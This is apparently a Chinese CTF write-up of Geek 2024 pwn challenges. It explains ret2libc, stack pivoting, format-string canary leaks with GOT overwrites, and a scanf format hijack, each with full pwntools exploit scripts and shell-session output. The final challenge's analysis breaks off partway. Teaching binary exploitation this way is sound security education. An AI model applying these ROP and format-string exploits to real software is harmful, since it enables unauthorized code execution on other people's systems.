[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Switching to interactive mode
$ ls
bin
dev
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
libexec
libx32
pwn
$ cat flag
SYC{3c214e76-cb5e-4fbd-a866-397b2c9d32c6}

su~~~~#

涉及知识点:ret2csu(ret2libc)

此题仍然可以直接ret2libc,预期解为ret2csu,这里只展示ret2libc的解法 题目给了libc,ld,附件csu,查一下保护

$ checksec csu
[*] '/ctf/work/Geek2024/Pwn/su~~~~/csu'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

拖进ida看看反汇编

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+1Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  menu();
  __isoc99_scanf("%d", &v4);
  switch ( v4 )
  {
    case 2:
      hint();
      return 0;
    case 3:
      exit(0);
    case 1:
      writesomething();
      return 0;
    default:
      puts("NO,no,you can't do this.");
      exit(0);
  }
}

writesomething()函数

ssize_t writesomething()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

可以直接栈溢出控制执行流。存在用于ret2csu的gedget,但是有puts()函数,我们查看一下ROPgadget

$ ROPgadget --binary csu --only 'pop|ret'
Gadgets information
============================================================
0x00000000004008fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400900 : pop r14 ; pop r15 ; ret
0x0000000000400902 : pop r15 ; ret
0x00000000004008fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008ff : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b8 : pop rbp ; ret
0x0000000000400903 : pop rdi ; ret
0x0000000000400901 : pop rsi ; pop r15 ; ret
0x00000000004008fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005d6 : ret

可以直接控制rdi那就没必要ret2csu了,直接用puts()打印puts()的真实地址就可以ret2libc了 EXP

from pwn import *
#IO
##io = process('./csu')
io = remote('nc1.ctfplus.cn', 36897)
elf = ELF('./csu')
libc = ELF('./libc.so.6')
#init
pop_rdi = 0x400903
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_addr = 0x400798
ret_addr = 0x40089d
offset = 0x80 + 0x8
#leak libc
io.sendlineafter(b'[3] exit.', b'1')
payleak = cyclic(offset) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)
io.sendline(payleak)
io.recvline()
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.info('puts_addr: '+hex(puts_addr))
log.info('libc_base: '+hex(libc_base))
#getshell
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
paygetshell = cyclic(offset) + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) + p64(0xdeadbeef)
io.sendline(paygetshell)
io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 36897: Done
[*] '/ctf/work/Geek2024/Pwn/su~~~~/csu'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/ctf/work/Geek2024/Pwn/su~~~~/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] puts_addr: 0x7fdf4edc7970
[*] libc_base: 0x7fdf4ed47000
[*] Switching to interactive mode

$ ls
bin
csu
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
$ cat flag
SYC{164a516e-9c89-4d49-be62-24ceb6e9c1ea}

这里的空间有点小啊#

涉及知识点:栈迁移,ret2libc 查保护

$ checksec main
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

题目给了libc和ld,从描述不难猜出这道题是要打栈迁移,先拖进ida看看反汇编

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+2Ch] [rbp-4h] BYREF

  init((unsigned int)argc, argv, envp);
  puts("Do you know what is stack overflow exploit?\n");
  puts("What do you want to do?");
  puts("[1] Write something\n[2] Give you a flag\n>>");
  __isoc99_scanf("%1d", &v4);
  if ( v4 <= 2 && v4 > 0 )
  {
    if ( v4 == 1 )
      vuln();
    else
      puts("flag{This_Is_@_VVR0ng_f1@g}");
  }
  else
  {
    puts("Oi,you can't do this!");
  }
  return 0;
}

关键点在于vuln()函数,看看反汇编

ssize_t vuln()
{
  char buf[48]; // [rsp+0h] [rbp-30h] BYREF

  puts("Now you can write something");
  return read(0, buf, 0x40uLL);
}

溢出点在read()函数,但是溢出的长度只能覆盖到返回地址(0x40-0x30’buf长度’-0x8’寄存器’),显然这道题要打栈迁移。 这道题是典型的单read栈迁移,重点就是利用rbp控制rsi,可以看看read()函数的汇编

lea     rax, [rbp+buf]
mov     edx, 40h ; '@'  ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
mov     eax, 0
call    _read

简单分析一下逻辑

  • lea rax, [rbp+buf]:将rbp的值加上buf的长度,赋给rax
  • mov edx, 40h:将0x40赋给edx
  • mov rsi, rax:将rax的值赋给rsi
  • mov edi, 0:将0赋给edi
  • mov eax, 0:将0赋给eax
  • call _read:调用read()函数. 可以发现,如果我们控制了rbp的位置,我们就可以将read()读入的数据迁到任意位置,一般我们是迁到.bss段。那么怎么控制rbp呢?这就要运用我们之前说到的栈迁移了。栈迁移的精髓就是两次leave;ret,从而控制rbp的位置。

由于read()末尾自带一个leave;ret,所以这里我们会将rbp迁移到.bss段上。

leave等价于mov esp, ebp; pop ebp 如果提前将rbp的值修改为我们想要的位置,那么当mov esp, ebp结束之后,栈顶就是我们想要的位置,此时pop ebp就可以将rbp迁移到我们想要的位置了。

所以第一次栈迁移,我们的Payload如下

PayPivote = cyclic(offset) + p64(bss + 0x30) + p64(read_addr)

其中bss为.bss段地址,read_addr为read()函数地址。 注意p64(bss + 0x30)覆盖的是rbp的位置,由于buf是-0x30所以最后栈指针会指向.bss的起始段(bss+0x30-0x30=bss) 第一次payload执行完毕,leave使得rbp弹到bss段,执行流返回到read()继续执行

程序回到read,第二次栈迁移继续执行,这个时候我们就要开始打ROP了,这个时候read已经是向.bss上读数据了,写ROP[puts(puts@got)]泄露libc。这个时候我们的ROP会写到.bss段上,但并不会执行,我们稍后会用栈迁移执行我们写在.bss上的ROP。

Payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt)

还没完,我们现在只是将泄露libc的ROP写到了.bss上,但我们还需要getshell的ROP,所以我们还需要写控制rbp到另一个我们写getshellROP的位置。

Payload += p64(pop_rbp) + p64(bss + 0x200 + 0x30) + p64(read_addr)

继续构造Payload,要求其泄露libc后,继续通过pop_rbp迁移到另一个位置,然后利用read再次写入ROP[system(‘/bin/sh\x00’)]。

Payload += p64(bss - 0x8) + p64(leave_ret)

最后,我们要让程序执行到我们刚刚写入的Payload,在rbp的位置填入bss - 0x8,返回地址填leave_ret,这样两次leave_ret后,eip会停留到我们刚刚写的.bss段的起始,即Payload的起始,开始执行我们的ROP。

为什么要写bss - 0x8? 我们需要让程序在leave_ret后停留到bss的起始段,第一次leave_ret在第二次触发的read函数的末尾,结束之后rbp已经被弹到了bss - 0x8,此时第二次leave_ret(我们写进的leave_ret返回地址),rsp会来到bss - 0x8,这时还要执行一次pop ebp,此时rsp就会下降一个内存单元,来到bss的起始位置,而这里也正是我们Payload的起始位置,然后retpop eip,执行流就会跳转到bss段继续执行我们的payload。

第二次Payload执行完毕后,程序会泄露处libc,然后继续执行read函数,我们在这次写入ROP[system(‘/bin/sh\x00’)],然后再次利用栈迁移Getshell即可

Payshell = p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

这里写入getshell的ROP,然后用栈迁移再次执行

Payshell += p64(bss + 0x200 - 0x8) + p64(leave_ret)

这里执行ROPShell的原理和泄露libc时是一样的。

总结一下:

  1. 第一次读入,栈溢出,布置rbp到bss,再次跳转到read
  2. 第二次读入,布置libc,预留rbp跳转bss新位置,预留再次跳转read,栈迁移执行libc
  3. 第三次读入,布置getshell,布置rbp跳转bss shellROP位置,栈迁移执行getshell

EXP

from pwn import *
context(arch='amd64', os='linux', log_level='info',terminal=['tmux','splitw', '-h'])

def debug():
    gdb.attach(io)
    pause()

#IO
#io = process('./main')
elf = ELF('./main')
libc = ELF('./libc.so.6')
io = remote("nc1.ctfplus.cn", 47197)

#init
ret_addr = 0x400566
offset = 0x30
bss = 0x601010 + 0x500
pop_rdi = 0x400853
pop_rbp = 0x400628
leave_ret = 0x400738
read_addr = 0x40071C
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

#hijack bp
Paypivote = cyclic(offset) + p64(bss + 0x30) + p64(read_addr) ###buf = -0x30
io.sendlineafter(b'>>', b'1')
io.sendafter(b'something\n', Paypivote)

#leak libc&&hijack again
Payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) ###ROP[puts(puys@got)]
Payload += p64(pop_rbp) + p64(bss + 0x200 + 0x30) + p64(read_addr) ###hijack again
Payload += p64(bss - 0x8) + p64(leave_ret)
io.send(Payload)

puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.success('puts_addr: '+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))

#get shell
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

PayShell = (p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)).ljust(0x30, b'\x00') ###ROP[system('/bin/sh')]
PayShell += p64(bss + 0x200 - 0x8) + p64(leave_ret)
io.send(PayShell)

io.interactive()

RESULT

[*] '/ctf/work/Geek2024/Pwn/这里的空间有点小啊/main'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/ctf/work/Geek2024/Pwn/这里的空间有点小啊/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to nc1.ctfplus.cn on port 47197: Done
[+] puts_addr: 0x7f6170674970
[+] libc_base: 0x7f61705f4000
[*] Switching to interactive mode

$ cat flag
SYC{9caff6a6-a980-4488-94b9-54c57fda316b}

真的能走到后门吗#

涉及知识点:ret2text,格式化字符串覆写got表 先查壳。

$ checksec fmt
[*] '/ctf/work/Geek2024/Pwn/真的能走到后门吗/fmt'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

检查到canary,那么就不能直接通过栈溢出覆盖返回地址控制程序执行流,应该是用格式化字符串漏洞打印出canary来bypass。

拖进ida看看反汇编

int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[1] = __readfsqword(0x28u);
  buf[0] = 0LL;
  init(argc, argv, envp);
  puts("Welcome to Geek 2024!!\ntell me your ID:");
  read(0, buf, 8uLL);
  vuln();
  printf("%s", str);
  v3 = strlen(str1);
  write(1, str1, v3);
  return 0;
}

进去vuln()看看。

unsigned __int64 vuln()
{
  __int64 v0; // r15
  char v2[32]; // [rsp+0h] [rbp-40h] BYREF
  char v3[8]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]
  __int64 vars0; // [rsp+40h] [rbp+0h]

  v4 = __readfsqword(0x28u);
  v0 = vars0;
  puts("OK,whats your name?");
  read(0, v3, 0x10uLL);
  puts("your name:");
  printf(v3);
  puts("What do you want to say?");
  read_str(v2, 72LL);
  if ( v0 != vars0 )
    _exit(0);
  return __readfsqword(0x28u) ^ v4;
}

这里应该就是漏洞所在了,同时程序存在后门函数。

int backdoor()
{
  return system("/bin/sh");
}

但是在存在canary的情况下无法直接溢出,同时read_str()看起来也无法直接翻盖到返回地址,只能控制rbp的内容,也就是没有明显的溢出点。

但此处有明显的格式化字符串漏洞:

  read(0, v3, 0x10uLL);
  puts("your name:");
  printf(v3);

我们可以通过这个格式化字符串泄露canary。

我们通过gdb调试来看看canary相对于format的偏移

首先,printf()的汇编如下

lea     rax, [rbp+var_40]
add     rax, 20h ; ' '
mov     rdi, rax        ; format
mov     eax, 0
call    _printf

仅有一个参数format传在rdi上,64位传参需要寄存器,当参数少于7个时,参数从左到右分别传入rdirsirdxrcxr8r9;大于七个时,从第七个参数开始依靠栈传参

看看printf()函数附近的栈布局

pwndbg> stack 20
00:0000│ rsp     0x7fffffffe3e0 —▸ 0x402048 ◂— 'Welcome to Geek 2024!!\ntell me your ID:'
01:0008│         0x7fffffffe3e8 —▸ 0x7ffff7e0e02a (puts+346) ◂— cmp eax, -1
02:0010│         0x7fffffffe3f0 ◂— 0x6f0
03:0018│         0x7fffffffe3f8 ◂— 0x0
04:0020│ rax rdi 0x7fffffffe400 ◂— 0xa61616161 /* 'aaaa\n' */
05:0028│         0x7fffffffe408 —▸ 0x7fffffffe440 ◂— 0x1
06:0030│         0x7fffffffe410 ◂— 0x0
07:0038│         0x7fffffffe418 ◂— 0x2a3883b8c4730700
08:0040│ rbp     0x7fffffffe420 —▸ 0x7fffffffe440 ◂— 0x1
09:0048│         0x7fffffffe428 —▸ 0x4013f1 (main+89) ◂— lea rsi, [rip + 0x2c78]
0a:0050│         0x7fffffffe430 ◂— 0xa31 /* '1\n' */
0b:0058│         0x7fffffffe438 ◂— 0x2a3883b8c4730700
0c:0060│ r15     0x7fffffffe440 ◂— 0x1
0d:0068│         0x7fffffffe448 —▸ 0x7ffff7db6d90 (__libc_start_call_main+128) ◂— mov edi, eax
0e:0070│         0x7fffffffe450 ◂— 0x0
0f:0078│         0x7fffffffe458 —▸ 0x401398 (main) ◂— endbr64
10:0080│         0x7fffffffe460 ◂— 0x1ffffe540
11:0088│         0x7fffffffe468 —▸ 0x7fffffffe558 —▸ 0x7fffffffe7ad ◂— 0x726f772f6674632f ('/ctf/wor')
12:0090│         0x7fffffffe470 ◂— 0x0
13:0098│         0x7fffffffe478 ◂— 0x94e44a118d5f994e

64位canary一般存放在rbp - 8的位置

07:0038│         0x7fffffffe418 ◂— 0x2a3883b8c4730700

那么相对于栈顶的偏移就是8

00:0000│1 rsp     0x7fffffffe3e0 —▸ 0x402048 ◂— 'Welcome to Geek 2024!!\ntell me your ID:'
01:0008│2         0x7fffffffe3e8 —▸ 0x7ffff7e0e02a (puts+346) ◂— cmp eax, -1 
02:0010│3         0x7fffffffe3f0 ◂— 0x6f0
03:0018│4         0x7fffffffe3f8 ◂— 0x0
04:0020│5 rax rdi 0x7fffffffe400 ◂— 0xa61616161 /* 'aaaa\n' */
05:0028│6         0x7fffffffe408 —▸ 0x7fffffffe440 ◂— 0x1
06:0030│7         0x7fffffffe410 ◂— 0x0
07:0038│8         0x7fffffffe418 ◂— 0x2a3883b8c4730700

所以canary相对我们format的偏移就是5+8=13

构造的payload就是:%13$p

Welcome to Geek 2024!!
tell me your ID:
1
OK,whats your name?
%13$p
your name:
0xb9d58b86db8a4800

可以看到成功打印出canary。

继续分析vuln(),有一处函数比较有意思

  puts("What do you want to say?");
  read_str(v2, 72LL);

这个read_str()疑似是自己定义的,看看实现

__int64 __fastcall read_str(__int64 a1, int a2)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( i > a2 )
      break;
    read(0, (void *)(i + a1), 1uLL);
  }
  return result;
}

参数传入72,实际会读入73字节的数据,即存在差一错误,刚好可以覆盖到返回地址的末一字节

由于vuln函数是main调用的,所以返回地址就是0x4013F1

.text:00000000004013EC                 call    vuln
.text:00000000004013F1                 lea     rsi, str

那么我们改掉末尾一字节为EC,那么就会再次调用一次vuln(),去实现无限read(format);printf(format)调用,实现任意地址写。存在backdoor()的情况下,我们可以修改某个被调用的函数的got表,使其调用时指向backdoor(),直接getshell

EXP

from pwn import *

#io = process('./fmt')
io = remote('nc1.ctfplus.cn', 17316)

io.sendline(b'a')

format_1 = b'%13$p.%14$p'
io.sendafter(b'name?\n', format_1)
io.recvuntil(b'0x')
canary = int(io.recv(16),16)
log.info(f'canary: {hex(canary)}')

io.recvuntil(b'0x')
rbp = int(io.recv(12),16)
log.info(f'rbp: {hex(rbp)}')
ret = rbp - 0x18

payload = p64(ret + 1) + cyclic(0x30) + p64(canary) + p64(rbp) + b'\xEC'
io.sendafter(b'say?\n',payload)

io.send(b'%18c%6$hhn')
sleep(0.5)
io.send(cyclic(0x38) + p64(canary) + p64(rbp) + b'\x82')
io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 17316: Done
[*] canary: 0xcef98022236dc100
[*] rbp: 0x7ffeb178da60
[*] Switching to interactive mode
OK,whats your name?
your name:
                 #aajaaakaaalaaaWhat do you want to say?
$ ls
bin
dev
flag
ld.so.2
lib
lib32
lib64
libc.so.6
libx32
pwn
$ cat flag
SYC{fd0c572e-f1cb-4dac-a3bb-f3dae75abd0e}

ez_fmt#

涉及知识点:scanf()的格式化字符串漏洞 题目给了ld,libc,以及pwn文件,我们查一下保护

$checksec pwn
[*] '/ctf/work/Geek2024/Pwn/ez_fmt/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开,那么我们需要泄露canary和rbp才能进行基本ROP

拖进IDA看下伪代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  puts("Where is fmt???\n");
  while ( count-- )
    function();
  if ( (unsigned int)vuln() )
    puts("But fmt is ez for most of pwner.");
  else
    puts("You are so good!!");
  return 0;
}

给了两个关键函数function()vuln()

看看function()

unsigned __int64 function()
{
  __int64 v1; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0LL;
  puts("Input offset:(0x..)");
  __isoc99_scanf("%llx", &v1);
  puts((const char *)&v1 + v1);
  return __readfsqword(0x28u) ^ v2;
}

function()可以泄露出栈上的任意地址,同时main()中对function的调用做了循环处理

  while ( count-- )
    function();
.data:0000000000004010 count           dd 2                    ; DATA XREF: main:loc_138F↑r

即我们有两次泄露栈上地址的机会,自然是泄露canary和libc

看看vuln()

__int64 vuln()
{
  __int64 buf[2]; // [rsp+10h] [rbp-40h] BYREF
  __int64 v2[6]; // [rsp+20h] [rbp-30h] BYREF

  v2[5] = __readfsqword(0x28u);
  buf[0] = 0LL;
  buf[1] = 0LL;
  memset(v2, 0, 32);
  puts("It`s ez for you ?? Your anser:");
  read(0, buf, 0x20uLL);
  __isoc99_scanf((const char *)v2);
  return (unsigned int)strcmp((const char *)buf, str);
}

read()读入0x20,scanf()未格式化字符串,但是却是在v2上进行格式化输入。显然在scanf()上存在格式化字符串漏洞,但要怎么利用呢?我们看一下此处的汇编代码。

; Attributes: bp-based frame

; __int64 vuln()
public vuln
vuln proc near

var_44= dword ptr -44h
buf= qword ptr -40h
var_38= qword ptr -38h
var_30= qword ptr -30h
var_28= qword ptr -28h
var_20= qword ptr -20h
var_18= qword ptr -18h
var_8= qword ptr -8

; __unwind {
endbr64
push    rbp
mov     rbp, rsp
sub     rsp, 50h
mov     rax, fs:28h
mov     [rbp+var_8], rax
xor     eax, eax
mov     [rbp+buf], 0
mov     [rbp+var_38], 0
mov     [rbp+var_30], 0
mov     [rbp+var_28], 0
mov     [rbp+var_20], 0
mov     [rbp+var_18], 0
lea     rdi, s          ; "It`s ez for you ?? Your anser:"
call    _puts
lea     rax, [rbp+buf]
mov     edx, 20h ; ' '  ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
lea     rax, [rbp+buf]
add     rax, 10h
mov     rdi, rax
mov     eax, 0
call    ___isoc99_scanf
lea     rax, [rbp+buf]
lea     rsi, str        ; "yes\n"
mov     rdi, rax        ; s1
call    _strcmp
mov     [rbp+var_44], eax
xor     rsi, rsi
xor     rdx, rdx
mov     eax, [rbp+var_44]
mov     rcx, [rbp+var_8]
xor     rcx, fs:28h
jz      short locret_129E

注意到此处

lea     rax, [rbp+buf]
mov     edx, 20h ; ' '  ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
lea     rax, [rbp+buf]
add     rax, 10h
mov     rdi, rax
mov     eax, 0
call    ___isoc99_scanf

传入scanf()的第一个参数就是buf-0x10,而read()buf上读入0x20字节,也就是说read()可以控制buf-0x10的内容,即我们可以控制scanf()的第一个参数,如果我们把它改成%s,那么scanf()就相当于一个gets()函数不限制我们读入数据的长度,再加上我们在之前泄露的canary和libc基地址,直接就可以打基本ROP-ret2libc了。

关键的控制scanf()参数同样可以通过调试发现。

──────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────
 RAX  0x7fffffffe440 ◂— 0x0
 RBX  0x5555555553e0 (__libc_csu_init) ◂— endbr64
 RCX  0x7ffff7ee3297 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x20
*RDI  0x0
 RSI  0x7fffffffe440 ◂— 0x0
 R8   0x1f
 R9   0x7ffff7fe0d60 ◂— endbr64
 R10  0x55555555603b ◂— 0x65685700786c6c25 /* '%llx' */
 R11  0x246
 R12  0x555555555100 (_start) ◂— endbr64
 R13  0x7fffffffe590 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe480 —▸ 0x7fffffffe4a0 ◂— 0x0
 RSP  0x7fffffffe430 —▸ 0x7fffffffe470 ◂— 0x0
*RIP  0x555555555251 (vuln+104) ◂— call 0x5555555550d0
───────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────
   0x55555555523b <vuln+82>     call   puts@plt                <puts@plt>

   0x555555555240 <vuln+87>     lea    rax, [rbp - 0x40]
   0x555555555244 <vuln+91>     mov    edx, 0x20
   0x555555555249 <vuln+96>     mov    rsi, rax
   0x55555555524c <vuln+99>     mov    edi, 0
 0x555555555251 <vuln+104>    call   read@plt                <read@plt>
        fd: 0x0 (/dev/pts/0)
        buf: 0x7fffffffe440 ◂— 0x0
        nbytes: 0x20

   0x555555555256 <vuln+109>    lea    rax, [rbp - 0x40]
   0x55555555525a <vuln+113>    add    rax, 0x10
   0x55555555525e <vuln+117>    mov    rdi, rax
   0x555555555261 <vuln+120>    mov    eax, 0
   0x555555555266 <vuln+125>    call   __isoc99_scanf@plt                <__isoc99_scanf@plt>
─────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp     0x7fffffffe430 —▸ 0x7fffffffe470 ◂— 0x0
01:0008│         0x7fffffffe438 —▸ 0x7ffff7e5959a (puts+378) ◂— cmp eax, -1
02:0010│ rax rsi 0x7fffffffe440 ◂— 0x0
...            5 skipped
───────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────
 0   0x555555555251 vuln+104
   1   0x5555555553ac main+82
   2   0x7ffff7df9083 __libc_start_main+243
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic(0x20)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaa

此处读入有规律的字符串0x20个字节。

0x555555555266 <vuln+125>    call   __isoc99_scanf@plt                <__isoc99_scanf@plt>
        format: 0x7fffffffe450 ◂— 'caaaaaaadaaaaaaa'
        vararg: 0x7fffffffe440 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaa'

可以看到scanf()第一个参数是我们控制的内容,那么我们把它控制为%s就可以直接打ROP了。

EXP

from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h'])
def debug():
    gdb.attach(io)
    pause()

io = process('./pwn')
##io = remote('nc1.ctfplus.cn',45112)
libc = ELF('./libc.so.6')

# leak canary
io.recv()
io.sendline('9')
canary = u64(io.recv(7).rjust(8, b'\x00'))
log.info(f'canary: {hex(canary)}')

# leak libc base
io.sendline('38')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x24083
log.info(f'libc base: {hex(libc_base)}')

# hijack scanf first parameter
hijack = cyclic(0x10) + b'%s'
io.sendafter(b'It`s ez for you ?? Your anser:', hijack)
sleep(0.5)

# ret2libc
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
rdi_addr = libc_base + 0x23b6a
ret_addr = libc_base + 0x22679
payload = cyclic(0x38) + p64(canary) + b'A' * 8 + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.send(payload)
io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 45112: Done
[*] '/ctf/work/Geek2024/Pwn/ez_fmt/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[DEBUG] Received 0x25 bytes:
    b'Where is fmt???\n'
    b'\n'
    b'Input offset:(0x..)\n'
exp.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline('9')
[DEBUG] Sent 0x2 bytes:
    b'9\n'
[DEBUG] Received 0xd bytes:
    00000000  92 fc d2 63  9e d5 1d a0  07 39 e3 ff  7f           │···c│····│·9··│·│
    0000000d
[*] canary: 0x1dd59e63d2fc9200
exp.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline('38')
[DEBUG] Sent 0x3 bytes:
    b'38\n'
[*] libc base: 0x7fffe336c71d
[DEBUG] Received 0x15 bytes:
    b'\n'
    b'Input offset:(0x..)\n'
[DEBUG] Received 0x26 bytes:
    00000000  83 d0 d3 0c  69 7f 0a 49  74 60 73 20  65 7a 20 66  │····│i··I│t`s │ez f│
    00000010  6f 72 20 79  6f 75 20 3f  3f 20 59 6f  75 72 20 61  │or y│ou ?│? Yo│ur a│
    00000020  6e 73 65 72  3a 0a                                  │nser│:·│
    00000026
[DEBUG] Sent 0x12 bytes:
    b'aaaabaaacaaadaaa%s'
[DEBUG] Sent 0x68 bytes:
    00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  │aaaa│baaa│caaa│daaa│
    00000010  65 61 61 61  66 61 61 61  67 61 61 61  68 61 61 61  │eaaa│faaa│gaaa│haaa│
    00000020  69 61 61 61  6a 61 61 61  6b 61 61 61  6c 61 61 61  │iaaa│jaaa│kaaa│laaa│
    00000030  6d 61 61 61  6e 61 61 61  00 92 fc d2  63 9e d5 1d  │maaa│naaa│····│c···│
    00000040  41 41 41 41  41 41 41 41  96 ed 38 e3  ff 7f 00 00  │AAAA│AAAA│··8·│····│
    00000050  87 02 39 e3  ff 7f 00 00  da 0c 52 e3  ff 7f 00 00  │··9·│····│··R·│····│
    00000060  ad e9 3b e3  ff 7f 00 00                            │··;·│····│
    00000068
[*] Switching to interactive mode
$ ls
bin
dev
flag
ld.so.2
lib
lib32
lib64
libc.so.6
libx32
pwn
$ cat flag
SYC{ae2a7d9a-d51d-477a-b57f-d5}

学校的烂电梯Plus#

涉及知识点:整数溢出,栈排布,read()底层原理 题目给的pwn附件,checksec查下保护

$ checksec pwn
[*] '/ctf/work/Geek2024/Pwn/学校的烂电梯plus/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fc000)
    RUNPATH:  b'./libc.so.6'

有canary,在不bypass的前提下无法直接通过溢出控制程序执行流。

看看ida的反汇编。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init_func(argc, argv, envp);
  puts("Welcome to 2024 Geek pwn channel!");
  puts("This is a elevator");
  return take_elevator();
}

take_elevator()

unsigned __int64 take_elevator()
{
  int v1; // [rsp+4h] [rbp-3Ch] BYREF
  double v2; // [rsp+8h] [rbp-38h] BYREF
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("how many floors do you want to go?");
  __isoc99_scanf("%d", &v1);
  data = 8 * v1;
  puts("oh , the elevator maybe broken");
  puts("but you can  call phone to rescue you");
  ask_phone(&v2);
  printf("you call the number is %lf", v2);
  puts("you have be saved, please send a message to thanks for the man!!");
  read(0, buf, 0x28uLL);
  return v4 - __readfsqword(0x28u);
}

ask_phone()

__int64 __fastcall ask_phone(__int64 a1)
{
  printf("which one you want to call?");
  __isoc99_scanf("%lf", a1);
  return readuntil(10LL);
}

